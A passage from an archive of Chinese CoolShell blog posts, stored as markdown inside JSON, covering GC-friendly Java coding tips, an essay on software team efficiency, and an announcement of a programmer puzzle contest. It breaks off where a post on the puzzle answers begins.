一、GC分代的基本假设\n\n\n大部分GC算法，都将堆内存做分代(Generation)处理，但是为什么要分代呢，又为什么不叫内存分区、分段，而要用面向时间、年龄的“代”来表示不同的内存区域？\n\n\nGC分代的**基本假设**是：\n\n\n**绝大部分对象的生命周期都非常短暂，存活时间短。**\n\n\n而这些短命的对象，恰恰是GC算法需要首先关注的。所以在大部分的GC中，YoungGC（也称作MinorGC）占了绝大部分，对于负载不高的应用，可能跑了数个月都不会发生FullGC。\n\n\n基于这个前提，在编码过程中，我们应该**尽可能地缩短对象的生命周期**。在过去，分配对象是一个比较重的操作，所以有些程序员会尽可能地减少new对象的次数，尝试减小堆的分配开销，减少内存碎片。\n\n\n但是，短命对象的创建在JVM中比我们想象的性能更好，所以，不要吝啬new关键字，大胆地去new吧。\n\n\n当然前提是不做无谓的创建，对象创建的速率越高，那么GC也会越快被触发。\n\n\n结论：\n\n\n* 分配小对象的开销分享小，不要吝啬去创建。\n* GC最喜欢这种小而短命的对象。\n* 让对象的生命周期尽可能短，例如在方法体内创建，使其能尽快地在YoungGC中被回收，不会晋升(romote)到年老代(Old Generation)。\n\n\n#### 二、对象分配的优化\n\n\n基于大部分对象都是小而短命，并且不存在多线程的数据竞争。这些小对象的分配，会优先在线程私有的 **TLAB** 中分配，TLAB中创建的对象，不存在锁甚至是CAS的开销。\n\n\nTLAB占用的空间在Eden Generation。\n\n\n当对象比较大，TLAB的空间不足以放下，而JVM又认为当前线程占用的TLAB剩余空间还足够时，就会直接在Eden Generation上分配，此时是存在并发竞争的，所以会有CAS的开销，但也还好。\n\n\n当对象大到Eden Generation放不下时，JVM只能尝试去Old Generation分配，这种情况需要尽可能避免，因为一旦在Old Generation分配，这个对象就只能被Old Generation的GC或是FullGC回收了。\n\n\n#### 三、不可变对象的好处\n\n\nGC算法在扫描存活对象时通常需要从ROOT节点开始，扫描所有存活对象的引用，构建出对象图。\n\n\n不可变对象对GC的优化，主要体现在Old Generation中。\n\n\n可以想象一下，如果存在Old Generation的对象引用了Young Generation的对象，那么在每次YoungGC的过程中，就必须考虑到这种情况。\n\n\nHotspot JVM为了提高YoungGC的性能，避免每次YoungGC都扫描Old Generation中的对象引用，采用了 **卡表(Card Table)** 的方式。\n\n\n简单来说，当Old Generation中的对象发生对Young Generation中的对象产生新的引用关系或释放引用时，都会在卡表中响应的标记上标记为脏(dirty)，而YoungGC时，只需要扫描这些dirty的项就可以了。\n\n\n可变对象对其它对象的引用关系可能会频繁变化，并且有可能在运行过程中持有越来越多的引用，特别是容器。这些都会导致对应的卡表项被频繁标记为dirty。\n\n\n而不可变对象的引用关系非常稳定，在扫描卡表时就不会扫到它们对应的项了。\n\n\n注意，这里的不可变对象，不是指仅仅自身引用不可变的final对象，而是真正的**Immutable Objects**。\n\n\n#### 四、引用置为null的传说\n\n\n早期的很多Java资料中都会提到在方法体中将一个变量置为null能够优化GC的性能，类似下面的代码：\n\n\n\n```\nList<String> list = new ArrayList<String>();\n// some code\nlist = null; // help GC\n\n```\n\n事实上这种做法对GC的帮助微乎其微，有时候反而会导致代码混乱。\n\n\n我记得几年前 @rednaxelafx 在HLL VM小组中详细论述过这个问题，原帖我没找到，结论基本就是：\n\n\n* 在一个非常大的方法体内，对一个较大的对象，将其引用置为null，某种程度上可以帮助GC。\n* 大部分情况下，这种行为都没有任何好处。\n\n\n所以，还是早点放弃这种“优化”方式吧。\n\n\nGC比我们想象的更聪明。\n\n\n#### 五、手动档的GC\n\n\n在很多Java资料上都有下面两个奇技淫巧：\n\n\n* 通过**Thread.yield()**让出CPU资源给其它线程。\n* 通过**System.gc()**触发GC。\n\n\n事实上JVM从不保证这两件事，而System.gc()在JVM启动参数中如果允许显式GC，则会**触发FullGC**，对于响应敏感的应用来说，几乎等同于自杀。\n\n\nSo，让我们牢记两点：\n\n\n* Never use Thread.yield()。\n* Never use System.gc()。除非你真的需要回收Native Memory。\n\n\n第二点有个Native Memory的例外，如果你在以下场景：\n\n\n* 使用了NIO或者NIO框架（Mina/Netty）\n* 使用了DirectByteBuffer分配字节缓冲区\n* 使用了MappedByteBuffer做内存映射\n\n\n由于**Native Memory只能通过FullGC（或是CMS GC）回收**，所以除非你非常清楚这时真的有必要，否则不要轻易调用System.gc()，且行且珍惜。\n\n\n另外为了防止某些框架中的System.gc调用（例如NIO框架、Java RMI），建议在启动参数中加上-XX:+DisableExplicitGC来禁用显式GC。\n\n\n这个参数有个巨大的坑，如果你禁用了System.gc()，那么上面的3种场景下的内存就无法回收，可能造成OOM，如果你使用了CMS GC，那么可以用这个参数替代：-XX:+ExplicitGCInvokesConcurrent。\n\n\n关于System.gc()，可以参考 @bluedavy 的几篇文章：\n\n\n* [CMS GC会不会回收Direct ByteBuffer的内存](http://hellojava.info/?p=56)\n* [说说在Java启动参数上我犯的错](http://hellojava.info/?p=323)\n* [java.lang.OutOfMemoryError:Map failed](http://hellojava.info/?p=319)\n\n\n \n\n\n#### 六、指定容器初始化大小\n\n\nJava容器的一个特点就是可以动态扩展，所以通常我们都不会去考虑初始大小的设置，不够了反正会自动扩容呗。\n\n\n但是扩容不意味着没有代价，甚至是很高的代价。\n\n\n例如一些基于数组的数据结构，例如StringBuilder、StringBuffer、ArrayList、HashMap等等，在扩容的时候都需要做ArrayCopy，对于不断增长的结构来说，经过若干次扩容，会存在大量无用的老数组，而回收这些数组的压力，全都会加在GC身上。\n\n\n这些容器的构造函数中通常都有一个可以指定大小的参数，如果对于某些大小可以预估的容器，建议加上这个参数。\n\n\n可是因为容器的扩容并不是等到容器满了才扩容，而是有一定的比例，例如HashMap的扩容阈值和负载因子(loadFactor)相关。\n\n\nGoogle Guava框架对于容器的初始容量提供了非常便捷的工具方法，例如：\n\n\n[code lang=”java”]Lists.newArrayListWithCapacity(initialArraySize);\n\n\nLists.newArrayListWithExpectedSize(estimatedSize);\n\n\nSets.newHashSetWithExpectedSize(expectedSize);\n\n\nMaps.newHashMapWithExpectedSize(expectedSize);  \n\n[/code]\n\n\n这样我们只要传入预估的大小即可，容量的计算就交给Guava来做吧。\n\n\n**反例**：如果采用默认无参构造函数，创建一个ArrayList，不断增加元素直到OOM，那么在此过程中会导致：\n\n\n* 多次数组扩容，重新分配更大空间的数组\n* 多次数组拷贝\n* 内存碎片\n\n\n#### 七、对象池\n\n\n为了减少对象分配开销，提高性能，可能有人会采取对象池的方式来缓存对象集合，作为复用的手段。\n\n\n但是对象池中的对象由于在运行期长期存活，大部分会晋升到Old Generation，因此无法通过YoungGC回收。\n\n\n并且通常……没有什么效果。\n\n\n对于对象本身：\n\n\n* 如果对象很小，那么分配的开销本来就小，对象池只会增加代码复杂度。\n* 如果对象比较大，那么晋升到Old Generation后，对GC的压力就更大了。\n\n\n从线程安全的角度考虑，通常池都是会被并发访问的，那么你就需要处理好同步的问题，这又是一个大坑，并且**同步带来的开销，未必比你重新创建一个对象小**。\n\n\n对于对象池，唯一合适的场景就是**当池中的每个对象的创建开销很大**时，缓存复用才有意义，例如每次new都会创建一个连接，或是依赖一次RPC。\n\n\n比如说：\n\n\n* 线程池\n* 数据库连接池\n* TCP连接池\n\n\n即使你真的需要实现一个对象池，也请使用成熟的开源框架，例如Apache Commons Pool。\n\n\n另外，使用JDK的ThreadPoolExecutor作为线程池，不要重复造轮子，除非当你看过AQS的源码后认为你可以写得比Doug Lea更好。\n\n\n#### 八、对象作用域\n\n\n尽可能缩小对象的作用域，即生命周期。\n\n\n* 如果可以在方法内声明的局部变量，就不要声明为实例变量。\n* 除非你的对象是单例的或不变的，否则尽可能少地声明static变量。\n\n\n#### 九、各类引用\n\n\njava.lang.ref.Reference有几个子类，用于处理和GC相关的引用。JVM的引用类型简单来说有几种：\n\n\n* Strong Reference，最常见的引用\n* Weak Reference，当没有指向它的强引用时会被GC回收\n* Soft Reference，只当临近OOM时才会被GC回收\n* Phantom Reference，主要用于识别对象被GC的时机，通常用于做一些清理工作\n\n\n当你需要实现一个缓存时，可以考虑优先使用WeakHashMap，而不是HashMap，当然，更好的选择是使用框架，例如Guava Cache。\n\n\n最后，再次提醒，以上的这些未必可以对代码有多少性能上的提升，但是熟悉这些方法，是为了帮助我们写出更卓越的代码，和GC更好地合作。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/2631.html)[五大基于JVM的脚本语言](https://coolshell.cn/articles/2631.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/1252.html)[G1新型垃圾回收器一瞥](https://coolshell.cn/articles/1252.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\nThe post [面向GC的Java编程](https://coolshell.cn/articles/11541.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-6-9 开发团队的效率.md",
    "content": "---\nlayout: post\ntitle: 开发团队的效率\ndate: 2014/6/9/ 1:6:11\nupdated: 2014/6/9/ 1:6:11\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2014/06/software_development.png)我之前写过一篇叫《[加班与效率](https://coolshell.cn/articles/10217.html \"加班与效率\")》的文章，从概念上说了一些我对“效率”的认识，但是那篇文章趋于概念化，对于一些没有经历过这样的环境的同学来说，可能会觉得太抽象了。很早以前就想写一篇更具体一点的，可执行的文章与《[加班与效率](https://coolshell.cn/articles/10217.html \"加班与效率\")》这篇文章相辉映，并再把我两年前在杭州QCon上的那个[“**鼓吹工程师文化”的《建一支强大的小团队》**](http://vdisk.weibo.com/s/gN-sQ/1351485199)（新浪微盘）的观点再加强一下。\n\n\n**但是我遇到了一些思维方式上的麻烦——我讲的总是从我的经历背景出发，没有从其它人的经历背景来讲**。这就好像，我在酷壳里说了很多东西（比如：[专职的QA](https://coolshell.cn/articles/6994.html \"我们需要专职的QA吗？\")，[Code Review很重要](https://coolshell.cn/articles/11432.html \"从Code Review 谈如何做技术\")，[编程年龄](https://coolshell.cn/articles/10688.html \"编程能力与编程年龄\")，[创业的](https://coolshell.cn/articles/5815.html \"来信， 创业 和 移动互联网\")，[Rework](https://coolshell.cn/articles/9156.html \"《Rework》摘录及感想\")的……），有好些人觉得是不可能甚至太理想，其实我说的那些东西都是实实在在存在的，也是我所经历过的。于是，不同的经历，不同的环境，不同的眼界，造成了——有些人不理解我说的，而我也不能理解他们所说的。\n\n\n所以，过去的这段时间我一有机会就找一些人交流并观察一些身边的事情，并去试着跟从和理解那些我不能理解的东西。现在觉得差不多了，所以，写下了这篇文章。（但越是去理解对方，我就越坚持我的观点，所以这篇文章可能还是会出现鸡同鸭讲的情形，无所谓了）\n\n\n本文不讨论任何业务上的效率问题，只讨论软件开发或是软件工程中的效率问题。虽然产品和业务上的效率问题是根本，但是因为本文不是拉仇恨的，我也不想混在一起谈，所以请原谅我在这里先说开发团队的，以后重新开篇文章专门谈产品和业务的。\n\n\n我下面会罗列几个非常典型的开发方式——**软件开发中的“锁”**，**接力棒式软件开发**，**保姆式软件开发**，**WatchDog软件开发**，**故障驱动式软件开发**。\n\n\n\n#### 软件开发中的“锁”\n\n\n如果你搞过并发编程，你一定知道什么是“锁”，锁就是用来同步和互斥。我发现有好些开发部门里的各个开发团队间存在很多锁。比如：\n\n\n* **技术能力上的锁**。有一个项目需要在不同的地方做开发，这些模块用到不同的技术，比如：Java, C/C++, Python，Javascript，但是，这个团队里的每一个开发人员就只懂一门语言，于是，需要配合，需要任务排期，同步互斥锁就很多，于是，一个本来只需要2个人干3周的的工作变成了8个人干两个月。\n\n\n* **负责模块上的锁**。同理，不同的人负责不同的模块，于是一个项目要动好多模块，那么你就需要把这些模块的人找过来，和上面一样。每个人都有自己的时间安排，人越多，锁越多。于是，一个来来只需要2个人干2两周的事，变成了7、8个人干一个多月。\n\n\n我上面并非瞎扯，这都是事实。我们可以看到，\n\n\n* **时间锁、进度锁**。这堆有不同技能或是负责不同模块的开发人员有锁，有锁你就要等，他们有自己的安排，所以，要协作起来，你就需要排期，去同步。而参与的人越多，你的锁就越多。你协调他们的时间就更复杂。\n\n\n* **沟通锁、利益锁**。而且，最恐怖的事情是，他们之间的沟通成本巨大。他们会花大量的时间在讨论，一个功能是实现在你那边，还是我这边，每个人都有自己的利益和算盘。无形中增加了很多推诿、官僚和政治上的东西。\n\n\n有时候，我们会觉得分工和分模块是产生效率的前提，但是实际情况并不是这样。我们也可以看到，**所谓的“分工”被彻彻底底的滥用了**。他们把“分工”当成了永远只干一件事的借口。\n\n\n##### 【解决方案】\n\n\n**一个程序员应该能够掌握多个语言，也能够负责多个模块甚至不同的职责。如果一个程序员觉得多学习一门语言，多掌握一个模块是件很困难的事，那么这个程序员本质上是不合格的**。\n\n\n#### “接力棒式”软件开发\n\n\n**在有各种“工作锁”的软件开发团队里，一般都无法避免“接力棒式”的开发**。也就是说，底层的C程序员干完了，交给上层的Java程序员，然后再交给更上层的前端程序员，最后再交给运维人员。这就是接力棒式的开发。\n\n\n而且，更糟糕的是，如果在引入了软件流程下，这种“接力棒的方式”真是会把你搞崩溃的。比如下游团队开发一个月，交给QA测试一个月，再交给运维分步上线一个月，然后，上游团队拿到下游开发的API后开发一个月，再交给自己的QA测试一个月，然后再交给自己的运维上线一个月，于是，半年就这样过去了。**这是一个由一个一个小瀑布叠出来的一个大瀑布**。\n\n\n哦，你会说，这个好办啊，上下游不会先商定好接口么？然后做并行开发么？是的，这是其中的一个优化方式，但是需要很好的接口设计。但是，在实际过程中，你会发现（这时我并非信口开河，我说的都是事实），\n\n\n* 如果这两个上下游团队在一起还好办，要是不在一起，那么，实际情况是，后面的团队会等到前面的团队提测了，才开始开发，本质上就是串行开发的。\n\n\n* 如果有更多的团队呢？比如：A团队 -> B团队 -> C团队 ->D团队呢。接口就变得非常地关键了。而在实际情况下，因为没有好的接口设计人员，所以，在开发过程经常性地修改接口，或者是因为接口不好用也只得忍着。\n\n\n##### 【解决方案】\n\n\n我以前写过一篇叫《[IoC/DIP其实是一种管理思想](https://coolshell.cn/articles/9949.html \"IoC/DIP其实是一种管理思想\")》，对于这种接力棒的方式，应该反过来，**如果业务应用团队是A团队，那B/C/D团队应该把自己的做成一个开发框架也好，服务化也好，让应用团队自己来接入**。比如：前端做好一个前端开发框架，PE做好一个运维开发框架、各种工具，共享模块团队做好开发框架，让应用团队自己来接入，而不是帮他做。**你会发现，在这么多团队各自P2P勾兑出来的很随意的接口的所带来的成本已经远超过一个统一标准的协议**。\n\n\n#### “保姆式”软件开发\n\n\n所谓“保姆式”软件开发就是——我只管吃饭，不管做菜洗碗，就像——衣来伸手，饭来张口的“小皇帝”一样，身边有一堆太监或宫女，不然生活不能自理。这种情况经常见于开发和测试，开发和运维间的关系。很多公司，测试和运维都成了开发的保姆。\n\n\n我就能看到，很多开发快速写完代码后基本上都不怎么测试就交给QA去测试了，QA一测，我草，各种问题，而只会做黑盒的QA并不能马上就能确定是代码的问题还是环境的问题，所以还要花大量时间排除不是环境问题，才给开发报BUG。很多问题，可能只需要做个Code Review，做个单测就可以发现了，硬要交给QA。运维也是一样的，开发出来的软件根本就没有考虑什么运维的东西，因为有运维人员，所以我才不考虑呢。\n\n\n**这和我们带孩子的道理是一样的，对于孩子来说，如果父母帮孩子做得越多，孩子就越觉得理所应当，就越不会去做**。\n\n\n**“保姆式”开发一般会进化成“保安式”开发**。\n\n\n* 因为你的团队开发人员的能力不行，设计不行，Code Reivew/UT不做，你就只能找堆QA看着他。\n* 因为Dev/QA只管功能不管运维，所以，还得找堆运维人员看着他们。\n* 因为你的技术人员不懂业务，不懂需求，需要再找个BA，找个产品经理来指挥他。\n* 因为你的技术人员不会管理项目，所以，再搞个项目经理，找个敏捷教练、以及SQA来管着他。\n\n\n**就这样，你不行，我找人来看着你，看你的人不行，我再找人来看着看你的人……层层保姆，层层保安。**于是，你就会发现，团队或部门里的人员越来越多，你整天都在开会，整天都在互相解释，互相争吵，会扯淡的人越来越多。那还有个屁的效率。\n\n\n![](../wp-content/uploads/2014/06/worker.jpg)网络上一个非常经典的图片，来源不详，程序员在挖坑，其它人站在当监工\n\n\n##### 【解决方案】\n\n\n1）**不要招只会写代码的“码农”，要招懂“需求”，注重“软件工程”和“软件质量”和“软件维护”的“工程师”**。\n\n\n2）**最好的管理，不是找人来管人，而是自己管自己**。\n\n\n3）**组织和团队中支持性工作的人越少越好，最好不要**。\n\n\n4）**服务化。我服务于你并不代表我要帮你干活，而是代表——我要让你干活干得更爽**。\n\n\n我在[微博](http://weibo.com/1401880315/B6hC7elDb)上说过下面的话，（大家可以体会一下保姆和服务的差别）\n\n\n运维要用“云服务”的思路去做。如果一个公司内的运维团队开发出一堆工具，让做应用开发团队可以很容易地申请机器、存储、网络、中间件、安全等资源，并很容易管理、监控和部署应用，并提供运维资询。而不是帮应用开发团队干活擦屁股当保姆。那么，这个公司就会不经意地做出一个云计算平台来了。\n\n\n \n\n\n#### “WatchDog式”软件开发\n\n\n什么是WatchDog？就是说——**为了解决某个系统的问题，我要用一个新的系统去看着它**。\n\n\n* 我的系统架构太复杂，出了问题不好查找。咋办？那就搞个专门的特殊的监控系统吧……\n\n\n* 我的系统配置太复杂，容易配错了。咋办？那就加一个配置校验系统吧……\n\n\n* 我的系统配置和真实的情况有时候可能会不一性。咋办？那就加一个巡检系统吧……\n\n\n* 我的系统测试环境和线上环境有时候会搞混了。咋办？那就为线上环境加一个权限控制系统吧……\n\n\n* 我的系统有单点，那就加个负载均衡器吧，负载均衡器的单点呢？那就再加个等价路由器吧……\n\n\n**做加法谁不会？就不想去简化一样系统吗？就不能不拆东墙补西墙么？**这些了系统加的越来越多，我看你以后怎么运维。\n\n\n一开始没有想清楚就放到线上，然后，出了故障后，也无法重新设计和重新架构，只能以打补丁地方式往上打，这就好像一个本来就有缺陷的楼没有盖好，你要拆了重盖是不可能的，也只能不停地打补丁了。字是一只狗，越描越丑。\n\n\n##### 【解决方案】\n\n\n**1）设计想好了再做，多评估几个设计没坏处，简化，简化，简化。**\n\n\n**2）残酷无情地还债，就算是CEO来了，也无法阻止我还债的脚步。**\n\n\n \n\n\n#### “故障驱动式”软件开发\n\n\nWatchDog式的软件开发通常来说都是“故障驱动式”软件开发的产物。这种开发方式其实就是在表明自己智力和能力的不足。以上线为目的，上了线再说，有什么问题出了再改。\n\n\n上面的老大或是业务方基本上会说，没关系，我们不一开始并不需要一个完美的系统，你先上了再说，先解业务的渴，我们后面有时间再重构再完善。而有的技术人员也会用“架构和设计是逐步演化出来的”这句话来证明“故障驱动”开发是值得的。\n\n\n我同意逐步迭代以及架构演化论，但是，我觉得**“系统迭代说”和“架构演化论”被彻彻底底地成为那些能力有限甚至不学无术的人的超级借口**。\n\n\n你们有没有搞错啊？你们知道什么叫迭代，什么叫演化吗？你们知道，要定位一个线上的故障需要花多大的力气吗？（[看看这篇文章](http://blog.aliyun.com/341)你就知道了）你们知道，随随便便去应付局部上你会快，但总体上来说你会慢。\n\n\n虽然，我看到那些系统在一个又一个的故障后得到一点又一点的改善，但是我想说，为什么一开始不认真不严谨一点呢？我从来就没有见过一个精良的系统是靠一个一个的故障和失败案例给堆出来的，就算是Windows 95/98这样史上最烂的操作系统，如果没有设计精良Windows NT的补位，Windows也早玩完了（看看IE的下场就知道了）。\n\n\n##### 【解决方案】\n\n\n**1）基础知识和理论知识非常重要**。多多使用已有的成熟的方案是关键。\n\n\n**2）对技术要有一颗严谨和敬畏的心。想清楚了再干，坚持高标准，Design for failure!** 很多事情都急不得。\n\n\n \n\n\n#### 其它开发方式\n\n\n其实，这样的事情还有很多。比如：\n\n\n**1）配置管理上的问题**。对于源代码的配置管理，其实并不是一件简单的事情。配置管理和软件和团队的组构的结构非常有关系。我看到过两种非常没有效率的配置管理，一种是以开项目分支的方式来做项目，同时开很多分支，分支开的时间还很长，导致merge回主干要花大量的时间去解决各种冲突，另一种是N多的团队都在一个代码库中做修改，导致出现很多复杂的问题，比如某团队的改动出现了一个bug，要么所有的团队的功能都得等这个bug被修复才能被发布，要么就是把所有的改动回滚到上一个版本，包括其它团队开发的功能。很明显，软件模块的结构，软件的架构，以及团队的组织形式都会严重影响开发效率。\n\n\n**2）人肉式的软件开发**。大多数的软件团队和主管都会用“人手不够”做为自己开发效率不够的借口，而大多数故障发生的时候，都会使用更重的“人肉流程”来弥补自己能力的不足。他们从来没有想过使用“技术”，使用更“聪明”的方式来解决问题。\n\n\n**3）会议驱动式开发**。人多了，团队多了，想法也就多了，沟通也就多了，于是需要不停得开会开会开会。\n\n\n \n\n\n#### 总结一下\n\n\n综上所述，我有如下总结：\n\n\n1）**软件工程师分工分得越细这个团队就越没效率，团队间的服务化是关键的关键**。不管是从语言上还是从软件模块上的人员分工，越细越糟糕。服务化不是我要帮你做事，而是我让你做起事来更容易。\n\n\n2）**你总需要在一个环节上认真，这个环节越往前就越有效率，越往后你就越没效率**。要么你设计和编码认真点，不然，你就得在测试上认真点。要是你设计、编码、测试都不认真，那你就得在运维上认真，就得在处理故障上认真。你总需要在一个地方认真。另外一篇文章你可以看一下——《[多些时间少写些代码](https://coolshell.cn/articles/5686.html \"多些时间能少写些代码\")》\n\n\n3）**“小而精的团队”+“条件和资源受限”是效率的根本**。只有团队小，内耗才会小，只有条件或资源受限，才会逼着你去用最经济的手段做最有价值的事，才会逼着你喜欢简单和简化。\n\n\n4）**技术债是不能欠的，要残酷无情地还债**。很多事情，一开始不会有，那么就永远不会有。一旦一个事情烂了，后面只能跟着一起烂，烂得越多，就越没有人敢去还债。\n\n\n5）**软件架构上要松耦合，团队组织上要紧耦合**。\n\n\n6）**工程师文化是关键，重视过程就是重视结果**。只重视结果的KPI等同于“竭泽而渔”和“饮鸩止渴”。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![50年前的登月程序和程序员有多硬核](../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg)](https://coolshell.cn/articles/19612.html)[50年前的登月程序和程序员有多硬核](https://coolshell.cn/articles/19612.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![如何用最有创造力的方式输出42](../wp-content/uploads/2014/03/42-150x150.jpg)](https://coolshell.cn/articles/11170.html)[如何用最有创造力的方式输出42](https://coolshell.cn/articles/11170.html)\n* [![加班与效率](../wp-content/uploads/2013/07/Work-Overtime-150x150.jpg)](https://coolshell.cn/articles/10217.html)[加班与效率](https://coolshell.cn/articles/10217.html)\n* [![Bret Victor – Learnable Programming](../wp-content/uploads/2012/10/Learnable_Programming-150x150.jpg)](https://coolshell.cn/articles/8387.html)[Bret Victor – Learnable Programming](https://coolshell.cn/articles/8387.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg](https://coolshell.cn/articles/4951.html)[软件公司的两种管理方式](https://coolshell.cn/articles/4951.html)\nThe post [开发团队的效率](https://coolshell.cn/articles/11656.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-8-3 【活动】解迷题送礼物.md",
    "content": "---\nlayout: post\ntitle: 【活动】解迷题送礼物\ndate: 2014/8/3/ 10:52:14\nupdated: 2014/8/3/ 10:52:14\nstatus: publish\npublished: true\ntype: post\n---\n\n首先，先跟大家道歉一下最近CoolShell大约长达一个多月没有什么更新，原因主要在于，我去看世界杯去了，这一个月的世界杯熬夜看球使我的精力不佳，导致世界杯结束后的几个星期也没有缓过来，所以没有更新什么文章。好多朋友写邮件或是在微博上at我催我更新，所以有点惭愧了。\n\n\n精神不佳我就不写文章了。于是，世界杯过后，我每天都会抽出每天晚上和周末的一些碎片时间，我仿照一些前端过关的游戏，做了几个和程序员有关的迷题，也是要通关的，不过和前端知识没什么关系。这个游戏我放到了下面这个二级域名下。\n\n\n**<http://fun.coolshell.cn/>**\n\n\n[http://ww2.sinaimg.cn/mw1024/538efefbgw1eiz9cvx78fj20rm0fmdi8.jpg](http://fun.coolshell.cn/)\n\n\n有兴趣的朋友可以去玩玩。通关的同学我会送你们《Unix环境高级编程（第三版）》（感谢[@出版圈郭志敏](http://weibo.com/n/%E5%87%BA%E7%89%88%E5%9C%88%E9%83%AD%E5%BF%97%E6%95%8F?from=feed&loc=at) 赞助）或一个马克杯（感谢[@linux命令行精选网](http://weibo.com/n/linux%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%B2%BE%E9%80%89%E7%BD%91?from=feed&loc=at) 赞助）），因为奖品数量有限，所以，我会送给前十个通关的同学（后面通关的我会随机抽几个）。\n\n\n\nhttp://ww4.sinaimg.cn/mw1024/538efefbgw1eiz9cwlgybj2058079t8z.jpg  http://ww2.sinaimg.cn/mw1024/538efefbgw1eiz9d0qp1dj20c8085dgj.jpg\n\n\n最后说一下这些迷题：\n\n\n1）目前一共有10个迷题。你通关会出现个Congratulations的页面和一个表单，希望你能提供一下你的联系方式（联系方式只要你的email/weibo/twitter/homepage这样你比较公开的方式）。\n\n\n2）为了突出fun，所以，这些迷题中有好些基于一些“有趣”的知识的（可能有些知识你是不知道的）。\n\n\n3）我使用了英文，只希望你对英文不要害怕，英文是程序员最关键的一项技能。（虽然我的英文也一般）\n\n\n4）你要通关的话，你可能需要很多的Google/Wikipedia，所以，你可能需要翻墙环境。我希望你能经常翻墙。\n\n\n5）另外，如果要通关的话，你需除了有比较好的观察能力，你还需要对Linux命令行有一些了解，有一半左右的题是需要写代码才能过的，写代码的题中有字符串匹配（正则表达式），网络请求，算法和数据结构，以及一些基础的加密解密知识。\n\n\n6）这些题并不难，而且谜面提示得应该是非常清楚，不过，你要做完最快也需要2-3个小时，所以，在这里还是谢谢你的时间。\n\n\n祝大家玩得愉快！\n\n\n**————更新：2014/8/5————**\n\n\n**本活动已结果，题的页面还在保留中……**\n\n\n（全文完）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/3738.html)[打印质数的各种算法](https://coolshell.cn/articles/3738.html)\n* [![Cuckoo Filter：设计与实现](../wp-content/uploads/2015/08/cuckoo-150x150.jpg)](https://coolshell.cn/articles/17225.html)[Cuckoo Filter：设计与实现](https://coolshell.cn/articles/17225.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![二维码的生成细节和原理](../wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg)](https://coolshell.cn/articles/10590.html)[二维码的生成细节和原理](https://coolshell.cn/articles/10590.html)\n* [![伙伴分配器的一个极简实现](../wp-content/uploads/2013/10/buddy-memory-allocation-150x150.jpg)](https://coolshell.cn/articles/10427.html)[伙伴分配器的一个极简实现](https://coolshell.cn/articles/10427.html)\nThe post [【活动】解迷题送礼物](https://coolshell.cn/articles/11832.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-8-5 谜题的答案和活动的心得体会.md",
    "content": "---\nlayout: post\ntitle: 谜题的答案和活动的心得体会\ndate: 2014/8/5/ 23:47:50\nupdated: 2014/8/5/ 23:47:50\nstatus: publish\npublished: true\ntype: post\n---\n\n我于2014年8月3日周六的上午在微博、twitter、CoolShell上发布了一个和程序员有关的解谜题的活动——[【活动】解谜题送礼物](https://coolshell.cn/articles/11832.html \"【活动】解迷题送礼物\")。我使用了二级域名fun.coolshell.cn做为这次活动的页面。\n\n\n![](../wp-content/uploads/2014/08/puzzle.png)\n\n\n截止这篇文章发布的时候，fun.coolshell.cn的访问量UV大约有4万左右，通关人数大约有200人，但因为在活动的第二天网上就出了一些答题攻略，通过分析，实际靠自己能力通过的人数在130人左右。通过率大约不到4‰的样子。\n\n\n在这里我把整个谜题和做这个活动的东西写一下，算是给自己的一个总结。\n\n\n#### 